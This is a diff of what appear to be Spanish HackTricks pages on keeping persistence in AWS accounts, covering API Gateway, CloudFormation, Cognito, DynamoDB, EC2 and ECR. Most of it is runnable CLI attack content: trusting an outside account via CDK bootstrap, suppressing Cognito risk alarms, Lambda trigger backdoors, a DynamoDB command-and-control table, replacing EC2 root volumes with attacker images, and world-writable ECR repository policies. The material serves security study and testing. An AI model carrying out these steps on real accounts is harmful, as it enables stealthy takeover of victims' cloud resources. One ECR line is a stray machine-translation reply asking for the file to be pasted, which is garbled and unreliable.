Translated ['src/pentesting-cloud/aws-security/aws-unauthenticated-enum-

src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md

@@ -1,32 +0,0 @@
-# AWS - Persistencia de API Gateway
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## API Gateway
-
-Para más información, ve a:
-
-{{#ref}}
-../aws-services/aws-api-gateway-enum.md
-{{#endref}}
-
-### Política de Recursos
-
-Modifica la política de recursos de los API gateway(s) para concederte acceso a ellos.
-
-### Modificar Autorizadores de Lambda
-
-Modifica el código de los autorizadores de lambda para concederte acceso a todos los endpoints.\
-O simplemente elimina el uso del autorizador.
-
-### Permisos de IAM
-
-Si un recurso está utilizando un autorizador de IAM, podrías concederte acceso modificando los permisos de IAM.\
-O simplemente elimina el uso del autorizador.
-
-### Claves de API
-
-Si se utilizan claves de API, podrías filtrarlas para mantener la persistencia o incluso crear nuevas.\
-O simplemente elimina el uso de claves de API.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md

@@ -0,0 +1,32 @@
+# AWS - API Gateway Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## API Gateway
+
+Para más información, consulta:
+
+{{#ref}}
+../../aws-services/aws-api-gateway-enum.md
+{{#endref}}
+
+### Política de recursos
+
+Modifica la política de recursos de los API gateway(s) para otorgarte acceso a ellos
+
+### Modificar Lambda Authorizers
+
+Modifica el código de los lambda authorizers para otorgarte acceso a todos los endpoints.\
+O simplemente elimina el uso del authorizer.
+
+### Permisos IAM
+
+Si un recurso está usando IAM authorizer podrías darte acceso a él modificando los permisos IAM.\
+O simplemente elimina el uso del authorizer.
+
+### API Keys
+
+Si se usan API keys, podrías leak las API keys para mantener persistencia o incluso crear otras nuevas.\
+O simplemente elimina el uso de API keys.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md

@@ -1,23 +0,0 @@
-# AWS - Persistencia de Cloudformation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## CloudFormation
-
-Para más información, accede a:
-
-{{#ref}}
-../aws-services/aws-cloudformation-and-codestar-enum.md
-{{#endref}}
-
-### Stack de Bootstrap de CDK
-
-El AWS CDK despliega un stack de CFN llamado `CDKToolkit`. Este stack soporta un parámetro `TrustedAccounts` que permite a cuentas externas desplegar proyectos de CDK en la cuenta de la víctima. Un atacante puede abusar de esto para otorgarse acceso indefinido a la cuenta de la víctima, ya sea utilizando la CLI de AWS para redeplegar el stack con parámetros, o la CLI de AWS CDK.
-```bash
-# CDK
-cdk bootstrap --trust 1234567890
-
-# AWS CLI
-aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md

@@ -0,0 +1,23 @@
+# AWS - Cloudformation Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## CloudFormation
+
+Para más información, accede:
+
+{{#ref}}
+../../aws-services/aws-cloudformation-and-codestar-enum.md
+{{#endref}}
+
+### CDK Bootstrap Stack
+
+El AWS CDK despliega una CFN stack llamada `CDKToolkit`. Esta stack soporta un parámetro `TrustedAccounts` que permite a cuentas externas desplegar proyectos CDK en la cuenta víctima. Un atacante puede abusar de esto para otorgarse acceso indefinido a la cuenta víctima, ya sea usando el AWS cli para reimplementar la stack con parámetros, o el AWS CDK cli.
+```bash
+# CDK
+cdk bootstrap --trust 1234567890
+
+# AWS CLI
+aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
+```
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md

@@ -1,40 +0,0 @@
-# AWS - Persistencia de Cognito
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Cognito
-
-Para más información, accede a:
-
-{{#ref}}
-../aws-services/aws-cognito-enum/
-{{#endref}}
-
-### Persistencia de usuario
-
-Cognito es un servicio que permite otorgar roles a usuarios no autenticados y autenticados y controlar un directorio de usuarios. Se pueden alterar varias configuraciones diferentes para mantener cierta persistencia, como:
-
-- **Agregar un User Pool** controlado por el usuario a un Identity Pool
-- Dar un **rol IAM a un Identity Pool no autenticado y permitir el flujo de autenticación básica**
-- O a un **Identity Pool autenticado** si el atacante puede iniciar sesión
-- O **mejorar los permisos** de los roles otorgados
-- **Crear, verificar y privesc** a través de atributos controlados por usuarios o nuevos usuarios en un **User Pool**
-- **Permitir que Proveedores de Identidad externos** inicien sesión en un User Pool o en un Identity Pool
-
-Consulta cómo realizar estas acciones en
-
-{{#ref}}
-../aws-privilege-escalation/aws-cognito-privesc.md
-{{#endref}}
-
-### `cognito-idp:SetRiskConfiguration`
-
-Un atacante con este privilegio podría modificar la configuración de riesgo para poder iniciar sesión como un usuario de Cognito **sin que se disparen alarmas**. [**Consulta el cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) para ver todas las opciones:
-```bash
-aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
-```
-Por defecto, esto está deshabilitado:
-
-<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md

@@ -0,0 +1,40 @@
+# AWS - Cognito Persistencia
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Cognito
+
+Para más información, accede:
+
+{{#ref}}
+../../aws-services/aws-cognito-enum/
+{{#endref}}
+
+### Persistencia de usuarios
+
+Cognito es un servicio que permite asignar roles a usuarios unauthenticated y authenticated y controlar un directorio de usuarios. Varias configuraciones diferentes pueden alterarse para mantener cierta persistencia, como:
+
+- **Adding a User Pool** controlado por el usuario a un Identity Pool
+- Asignar un **IAM role to an unauthenticated Identity Pool and allow Basic auth flow**
+- O a un **authenticated Identity Pool** si el atacante puede iniciar sesión
+- O **mejorar los permisos** de los roles otorgados
+- **Create, verify & privesc** vía atributos de usuarios controlados o nuevos usuarios en un **User Pool**
+- **Allowing external Identity Providers** para iniciar sesión en un User Pool o en un Identity Pool
+
+Consulta cómo realizar estas acciones en
+
+{{#ref}}
+../../aws-privilege-escalation/aws-cognito-privesc/README.md
+{{#endref}}
+
+### `cognito-idp:SetRiskConfiguration`
+
+Un atacante con este privilegio podría modificar la configuración de riesgo para poder iniciar sesión como un usuario de Cognito **sin que se activen alarmas**. [**Consulta la CLI**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) para ver todas las opciones:
+```bash
+aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
+```
+Por defecto, esto está deshabilitado:
+
+<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md

@@ -1,59 +0,0 @@
-# AWS - Persistencia en DynamoDB
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### DynamoDB
-
-Para más información accede a:
-
-{{#ref}}
-../aws-services/aws-dynamodb-enum.md
-{{#endref}}
-
-### Disparadores de DynamoDB con puerta trasera de Lambda
-
-Usando disparadores de DynamoDB, un atacante puede crear una **puerta trasera sigilosa** al asociar una función Lambda maliciosa con una tabla. La función Lambda puede ser activada cuando se añade, modifica o elimina un ítem, permitiendo al atacante ejecutar código arbitrario dentro de la cuenta de AWS.
-```bash
-# Create a malicious Lambda function
-aws lambda create-function \
---function-name MaliciousFunction \
---runtime nodejs14.x \
---role <LAMBDA_ROLE_ARN> \
---handler index.handler \
---zip-file fileb://malicious_function.zip \
---region <region>
-
-# Associate the Lambda function with the DynamoDB table as a trigger
-aws dynamodbstreams describe-stream \
---table-name TargetTable \
---region <region>
-
-# Note the "StreamArn" from the output
-aws lambda create-event-source-mapping \
---function-name MaliciousFunction \
---event-source <STREAM_ARN> \
---region <region>
-```
-Para mantener la persistencia, el atacante puede crear o modificar elementos en la tabla de DynamoDB, lo que activará la función Lambda maliciosa. Esto permite al atacante ejecutar código dentro de la cuenta de AWS sin interacción directa con la función Lambda.
-
-### DynamoDB como un Canal C2
-
-Un atacante puede usar una tabla de DynamoDB como un **canal de comando y control (C2)** creando elementos que contengan comandos y utilizando instancias comprometidas o funciones Lambda para recuperar y ejecutar estos comandos.
-```bash
-# Create a DynamoDB table for C2
-aws dynamodb create-table \
---table-name C2Table \
---attribute-definitions AttributeName=CommandId,AttributeType=S \
---key-schema AttributeName=CommandId,KeyType=HASH \
---provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
---region <region>
-
-# Insert a command into the table
-aws dynamodb put-item \
---table-name C2Table \
---item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
---region <region>
-```
-Las instancias comprometidas o funciones de Lambda pueden verificar periódicamente la tabla C2 en busca de nuevos comandos, ejecutarlos y, opcionalmente, informar los resultados de vuelta a la tabla. Esto permite al atacante mantener la persistencia y el control sobre los recursos comprometidos.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md

@@ -0,0 +1,59 @@
+# AWS - DynamoDB Persistencia
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### DynamoDB
+
+Para más información, consulta:
+
+{{#ref}}
+../../aws-services/aws-dynamodb-enum.md
+{{#endref}}
+
+### DynamoDB Triggers con Lambda Backdoor
+
+Usando triggers de DynamoDB, un atacante puede crear una **stealthy backdoor** asociando una función Lambda maliciosa a una tabla. La función Lambda puede activarse cuando se añade, modifica o elimina un item, permitiendo al atacante ejecutar código arbitrario dentro de la cuenta AWS.
+```bash
+# Create a malicious Lambda function
+aws lambda create-function \
+--function-name MaliciousFunction \
+--runtime nodejs14.x \
+--role <LAMBDA_ROLE_ARN> \
+--handler index.handler \
+--zip-file fileb://malicious_function.zip \
+--region <region>
+
+# Associate the Lambda function with the DynamoDB table as a trigger
+aws dynamodbstreams describe-stream \
+--table-name TargetTable \
+--region <region>
+
+# Note the "StreamArn" from the output
+aws lambda create-event-source-mapping \
+--function-name MaliciousFunction \
+--event-source <STREAM_ARN> \
+--region <region>
+```
+Para mantener la persistencia, el attacker puede crear o modificar elementos en la tabla DynamoDB, lo que activará la Lambda function maliciosa. Esto permite al attacker ejecutar código dentro de la cuenta AWS sin interacción directa con la Lambda function.
+
+### DynamoDB as a C2 Channel
+
+An attacker puede usar una tabla DynamoDB como un **command and control (C2) channel** creando elementos que contengan commands y usando compromised instances o Lambda functions para obtener y ejecutar esos commands.
+```bash
+# Create a DynamoDB table for C2
+aws dynamodb create-table \
+--table-name C2Table \
+--attribute-definitions AttributeName=CommandId,AttributeType=S \
+--key-schema AttributeName=CommandId,KeyType=HASH \
+--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
+--region <region>
+
+# Insert a command into the table
+aws dynamodb put-item \
+--table-name C2Table \
+--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
+--region <region>
+```
+Las instancias comprometidas o Lambda functions pueden consultar periódicamente la C2 table en busca de nuevos comandos, ejecutarlos y, opcionalmente, reportar los resultados de vuelta a la C2 table. Esto permite al atacante mantener persistencia y control sobre los recursos comprometidos.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md

@@ -1,54 +0,0 @@
-# AWS - EC2 Persistencia
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EC2
-
-Para más información, consulta:
-
-{{#ref}}
-../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
-{{#endref}}
-
-### Persistencia de Seguimiento de Conexiones del Grupo de Seguridad
-
-Si un defensor descubre que una **instancia de EC2 fue comprometida**, probablemente intentará **aislar** la **red** de la máquina. Podría hacer esto con un **Deny NACL** explícito (pero los NACL afectan a toda la subred), o **cambiando el grupo de seguridad** para no permitir **ningún tipo de tráfico entrante o saliente**.
-
-Si el atacante tenía un **reverse shell originado desde la máquina**, incluso si el SG se modifica para no permitir tráfico entrante o saliente, la **conexión no será cerrada debido a** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
-
-### Administrador del Ciclo de Vida de EC2
-
-Este servicio permite **programar** la **creación de AMIs y snapshots** e incluso **compartirlos con otras cuentas**.\
-Un atacante podría configurar la **generación de AMIs o snapshots** de todas las imágenes o todos los volúmenes **cada semana** y **compartirlos con su cuenta**.
-
-### Instancias Programadas
-
-Es posible programar instancias para que se ejecuten diariamente, semanalmente o incluso mensualmente. Un atacante podría ejecutar una máquina con altos privilegios o acceso interesante donde podría acceder.
-
-### Solicitud de Flota Spot
-
-Las instancias Spot son **más baratas** que las instancias regulares. Un atacante podría lanzar una **pequeña solicitud de flota spot por 5 años** (por ejemplo), con **asignación automática de IP** y un **user data** que envía al atacante **cuando la instancia spot se inicie** y la **dirección IP** y con un **rol IAM de alto privilegio**.
-
-### Instancias de Puerta Trasera
-
-Un atacante podría acceder a las instancias y ponerles una puerta trasera:
-
-- Usando un **rootkit** tradicional, por ejemplo
-- Agregando una nueva **clave SSH pública** (consulta [opciones de privesc de EC2](../aws-privilege-escalation/aws-ec2-privesc.md))
-- Poniendo una puerta trasera en el **User Data**
-
-### **Configuración de Lanzamiento de Puerta Trasera**
-
-- Poner una puerta trasera en la AMI utilizada
-- Poner una puerta trasera en el User Data
-- Poner una puerta trasera en el Par de Claves
-
-### VPN
-
-Crear una VPN para que el atacante pueda conectarse directamente a través de ella a la VPC.
-
-### Peering de VPC
-
-Crear una conexión de peering entre la VPC de la víctima y la VPC del atacante para que pueda acceder a la VPC de la víctima.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md

@@ -0,0 +1,62 @@
+# AWS - EC2 Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EC2
+
+Para más información consulta:
+
+{{#ref}}
+../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
+{{#endref}}
+
+### Security Group Connection Tracking Persistence
+
+Si un defensor detecta que una **instancia EC2 fue comprometida**, probablemente intentará **aislar** la **red** de la máquina. Puede hacerlo con un **Deny NACL** explícito (pero los NACLs afectan a toda la subred), o **cambiando el security group** para no permitir **ningún tipo de tráfico entrante o saliente**.
+
+Si el atacante tenía una **reverse shell originada desde la máquina**, incluso si el SG se modifica para no permitir tráfico entrante o saliente, la **conexión no se terminará debido a** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
+
+### EC2 Lifecycle Manager
+
+Este servicio permite **programar** la **creación de AMIs and snapshots** e incluso **compartirlas con otras cuentas**.\
+Un atacante podría configurar la **generación de AMIs or snapshots** de todas las imágenes o de todos los volúmenes **cada semana** y **compartirlas con su cuenta**.
+
+### Scheduled Instances
+
+Es posible programar instancias para ejecutarse diariamente, semanalmente o incluso mensualmente. Un atacante podría mantener en ejecución una máquina con altos privilegios o acceso interesante que pudiera usar.
+
+### Spot Fleet Request
+
+Las spot instances son **más baratas** que las instancias regulares. Un atacante podría lanzar una **small spot fleet request for 5 year** (por ejemplo), con asignación de **IP automática** y un **user data** que envíe al atacante **cuando la spot instance arranque** la **dirección IP**, y con un **IAM role de altos privilegios**.
+
+### Backdoor Instances
+
+Un atacante podría obtener acceso a las instancias y backdoorearlas:
+
+- Usando un **rootkit** tradicional, por ejemplo
+- Añadiendo una nueva **public SSH key** (consulta [EC2 privesc options](../../aws-privilege-escalation/aws-ec2-privesc/README.md))
+- Backdooring el **User Data**
+
+### **Backdoor Launch Configuration**
+
+- Backdoor the used AMI
+- Backdoor the User Data
+- Backdoor the Key Pair
+
+### EC2 ReplaceRootVolume Task (Stealth Backdoor)
+
+Swap the root EBS volume of a running instance for one built from an attacker-controlled AMI or snapshot using `CreateReplaceRootVolumeTask`. The instance keeps its ENIs, IPs, and role, effectively booting into malicious code while appearing unchanged.
+
+{{#ref}}
+../aws-ec2-replace-root-volume-persistence/README.md
+{{#endref}}
+
+### VPN
+
+Crear una VPN para que el atacante pueda conectarse directamente al VPC.
+
+### VPC Peering
+
+Crear una conexión de peering entre el VPC de la víctima y el VPC del atacante para que pueda acceder al VPC de la víctima.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md

@@ -0,0 +1,75 @@
+# AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Abusa de **ec2:CreateReplaceRootVolumeTask** para reemplazar el volumen root EBS de una instancia en ejecución por uno restaurado desde un AMI o snapshot controlado por el atacante. La instancia se reinicia automáticamente y arranca con el sistema de archivos root controlado por el atacante, mientras preserva las ENIs, las IPs privadas/públicas, los volúmenes adjuntos que no son root, y el instance metadata/IAM role.
+
+## Requisitos
+- La instancia objetivo está respaldada por EBS y en ejecución en la misma región.
+- AMI o snapshot compatible: misma arquitectura/virtualización/modo de arranque (y códigos de producto, si los hay) que la instancia objetivo.
+
+## Comprobaciones previas
+```bash
+REGION=us-east-1
+INSTANCE_ID=<victim instance>
+
+# Ensure EBS-backed
+aws ec2 describe-instances   --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].RootDeviceType' --output text
+
+# Capture current network and root volume
+ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].RootDeviceName' --output text)
+ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
+PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text)
+ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text)
+```
+## Reemplazar root desde AMI (preferido)
+```bash
+IMAGE_ID=<attacker-controlled compatible AMI>
+
+# Start task
+TASK_ID=$(aws ec2 create-replace-root-volume-task   --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID   --query 'ReplaceRootVolumeTaskId' --output text)
+
+# Poll until state == succeeded
+while true; do
+STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION     --replace-root-volume-task-ids $TASK_ID     --query 'ReplaceRootVolumeTasks[0].TaskState' --output text)
+echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10;
+done
+```
+Alternativa usando un snapshot:
+```bash
+SNAPSHOT_ID=<snapshot with bootable root FS compatible with the instance>
+aws ec2 create-replace-root-volume-task   --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID
+```
+## Evidencia / Verificación
+```bash
+# Instance auto-reboots; network identity is preserved
+NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
+
+# Compare before vs after
+printf "ENI:%s IP:%s
+ORIG_VOL:%s
+NEW_VOL:%s
+" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL"
+
+# (Optional) Inspect task details and console output
+aws ec2 describe-replace-root-volume-tasks --region $REGION   --replace-root-volume-task-ids $TASK_ID --output json
+aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text
+```
+Expected: ENI_ID and PRI_IP remain the same; the root volume ID changes from $ORIG_VOL to $NEW_VOL. The system boots with the filesystem from the attacker-controlled AMI/snapshot.
+
+## Notas
+- La API no requiere que detengas manualmente la instancia; EC2 orquesta un reinicio.
+- Por defecto, el volumen EBS raíz reemplazado (antiguo) se desacopla y permanece en la cuenta (DeleteReplacedRootVolume=false). Esto puede usarse para la reversión o debe eliminarse para evitar costes.
+
+## Reversión / Limpieza
+```bash
+# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"),
+# you can create a snapshot and replace again from it:
+SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL   --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text)
+aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP
+aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP
+
+# Or simply delete the detached old root volume if not needed:
+aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL
+```
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md

@@ -1,91 +0,0 @@
-# AWS - ECR Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECR
-
-Para más información, consulta:
-
-{{#ref}}
-../aws-services/aws-ecr-enum.md
-{{#endref}}
-
-### Imagen de Docker Oculta con Código Malicioso
-
-Un atacante podría **subir una imagen de Docker que contenga código malicioso** a un repositorio de ECR y usarla para mantener persistencia en la cuenta de AWS objetivo. El atacante podría luego desplegar la imagen maliciosa en varios servicios dentro de la cuenta, como Amazon ECS o EKS, de manera sigilosa.
-
-### Política del Repositorio
-
-Agrega una política a un solo repositorio otorgándote a ti mismo (o a todos) acceso a un repositorio:
-```bash
-aws ecr set-repository-policy \
---repository-name cluster-autoscaler \
---policy-text file:///tmp/my-policy.json
-
-# With a .json such as
-
-{
-"Version" : "2008-10-17",
-"Statement" : [
-{
-"Sid" : "allow public pull",
-"Effect" : "Allow",
-"Principal" : "*",
-"Action" : [
-"ecr:BatchCheckLayerAvailability",
-"ecr:BatchGetImage",
-"ecr:GetDownloadUrlForLayer"
-]
-}
-]
-}
-```
-> [!WARNING]
-> Tenga en cuenta que ECR requiere que los usuarios tengan **permiso** para hacer llamadas a la **`ecr:GetAuthorizationToken`** API a través de una política IAM **antes de que puedan autenticarse** en un registro y subir o bajar imágenes de cualquier repositorio de Amazon ECR.
-
-### Política de Registro y Replicación entre Cuentas
-
-Es posible replicar automáticamente un registro en una cuenta externa configurando la replicación entre cuentas, donde necesita **indicar la cuenta externa** en la que desea replicar el registro.
-
-<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
-
-Primero, necesita dar acceso a la cuenta externa sobre el registro con una **política de registro** como:
-```bash
-aws ecr put-registry-policy --policy-text file://my-policy.json
-
-# With a .json like:
-
-{
-"Sid": "asdasd",
-"Effect": "Allow",
-"Principal": {
-"AWS": "arn:aws:iam::947247140022:root"
-},
-"Action": [
-"ecr:CreateRepository",
-"ecr:ReplicateImage"
-],
-"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
-}
-```
-Luego aplica la configuración de replicación:
-```bash
-aws ecr put-replication-configuration \
---replication-configuration file://replication-settings.json \
---region us-west-2
-
-# Having the .json a content such as:
-{
-"rules": [{
-"destinations": [{
-"region": "destination_region",
-"registryId": "destination_accountId"
-}],
-"repositoryFilters": [{
-"filter": "repository_prefix_name",
-"filterType": "PREFIX_MATCH"
-}]
-}]
-}
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md

@@ -0,0 +1,145 @@
+# AWS - ECR Persistencia
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECR
+
+Para más información consulta:
+
+{{#ref}}
+../../aws-services/aws-ecr-enum.md
+{{#endref}}
+
+### Imagen Docker oculta con código malicioso
+
+Un atacante podría **subir una imagen Docker que contenga código malicioso** a un repositorio ECR y usarla para mantener persistencia en la cuenta AWS objetivo. El atacante podría luego desplegar la imagen maliciosa en varios servicios dentro de la cuenta, como Amazon ECS o EKS, de forma sigilosa.
+
+### Política del repositorio
+
+Agrega una política a un único repositorio que te conceda a ti (o a todo el mundo) acceso al repositorio:
+```bash
+aws ecr set-repository-policy \
+--repository-name cluster-autoscaler \
+--policy-text file:///tmp/my-policy.json
+
+# With a .json such as
+
+{
+"Version" : "2008-10-17",
+"Statement" : [
+{
+"Sid" : "allow public pull",
+"Effect" : "Allow",
+"Principal" : "*",
+"Action" : [
+"ecr:BatchCheckLayerAvailability",
+"ecr:BatchGetImage",
+"ecr:GetDownloadUrlForLayer"
+]
+}
+]
+}
+```
+> [!WARNING]
+> Ten en cuenta que ECR requiere que los usuarios tengan **permiso** para realizar llamadas a la API **`ecr:GetAuthorizationToken`** mediante una política IAM **antes de que puedan autenticarse** en un registro y subir o descargar cualquier imagen de cualquier repositorio de Amazon ECR.
+
+### Política de registro y replicación entre cuentas
+
+Es posible replicar automáticamente un registro en una cuenta externa configurando replicación entre cuentas, donde necesitas **indicar la cuenta externa** en la que quieres replicar el registro.
+
+<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
+
+Primero, necesitas otorgar a la cuenta externa acceso al registro con una **política de registro** como:
+```bash
+aws ecr put-registry-policy --policy-text file://my-policy.json
+
+# With a .json like:
+
+{
+"Sid": "asdasd",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::947247140022:root"
+},
+"Action": [
+"ecr:CreateRepository",
+"ecr:ReplicateImage"
+],
+"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
+}
+```
+No puedo acceder al archivo directamente. Por favor pega aquí el contenido del README.md (y el "replication config" que quieres aplicar) y lo traduciré al español respetando exactamente el Markdown/HTML, sin traducir código, nombres de técnicas, plataformas, rutas ni etiquetas.
+```bash
+aws ecr put-replication-configuration \
+--replication-configuration file://replication-settings.json \
+--region us-west-2
+
+# Having the .json a content such as:
+{
+"rules": [{
+"destinations": [{
+"region": "destination_region",
+"registryId": "destination_accountId"
+}],
+"repositoryFilters": [{
+"filter": "repository_prefix_name",
+"filterType": "PREFIX_MATCH"
+}]
+}]
+}
+```
+### Repository Creation Templates (backdoor de prefijo para repos futuros)
+
+Abusa de ECR Repository Creation Templates para backdoor automáticamente cualquier repositorio que ECR cree automáticamente bajo un prefijo controlado (por ejemplo vía Pull-Through Cache o Create-on-Push). Esto otorga acceso no autorizado persistente a repos futuros sin tocar los existentes.
+
+- Permisos requeridos: ecr:CreateRepositoryCreationTemplate, ecr:DescribeRepositoryCreationTemplates, ecr:UpdateRepositoryCreationTemplate, ecr:DeleteRepositoryCreationTemplate, ecr:SetRepositoryPolicy (usada por la plantilla), iam:PassRole (si se adjunta un rol personalizado a la plantilla).
+- Impacto: Cualquier nuevo repositorio creado bajo el prefijo objetivo hereda automáticamente una política de repositorio controlada por el atacante (p. ej., lectura/escritura entre cuentas), mutabilidad de etiquetas y valores predeterminados de escaneo.
+
+<details>
+<summary>Backdoor repos futuros creados por PTC bajo un prefijo elegido</summary>
+```bash
+# Region
+REGION=us-east-1
+
+# 1) Prepare permissive repository policy (example grants everyone RW)
+cat > /tmp/repo_backdoor_policy.json <<'JSON'
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "BackdoorRW",
+"Effect": "Allow",
+"Principal": {"AWS": "*"},
+"Action": [
+"ecr:BatchCheckLayerAvailability",
+"ecr:BatchGetImage",
+"ecr:GetDownloadUrlForLayer",
+"ecr:InitiateLayerUpload",
+"ecr:UploadLayerPart",
+"ecr:CompleteLayerUpload",
+"ecr:PutImage"
+]
+}
+]
+}
+JSON
+
+# 2) Create a Repository Creation Template for prefix "ptc2" applied to PULL_THROUGH_CACHE
+aws ecr create-repository-creation-template   --region $REGION   --prefix ptc2   --applied-for PULL_THROUGH_CACHE   --image-tag-mutability MUTABLE   --repository-policy file:///tmp/repo_backdoor_policy.json
+
+# 3) Create a Pull-Through Cache rule that will auto-create repos under that prefix
+#    This example caches from Amazon ECR Public namespace "nginx"
+aws ecr create-pull-through-cache-rule   --region $REGION   --ecr-repository-prefix ptc2   --upstream-registry ecr-public   --upstream-registry-url public.ecr.aws   --upstream-repository-prefix nginx
+
+# 4) Trigger auto-creation by pulling a new path once (creates repo ptc2/nginx)
+acct=$(aws sts get-caller-identity --query Account --output text)
+aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
+
+docker pull ${acct}.dkr.ecr.${REGION}.amazonaws.com/ptc2/nginx:latest
+
+# 5) Validate the backdoor policy was applied on the newly created repository
+aws ecr get-repository-policy --region $REGION --repository-name ptc2/nginx --query policyText --output text | jq .
+```
+</details>
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md

@@ -1,93 +0,0 @@
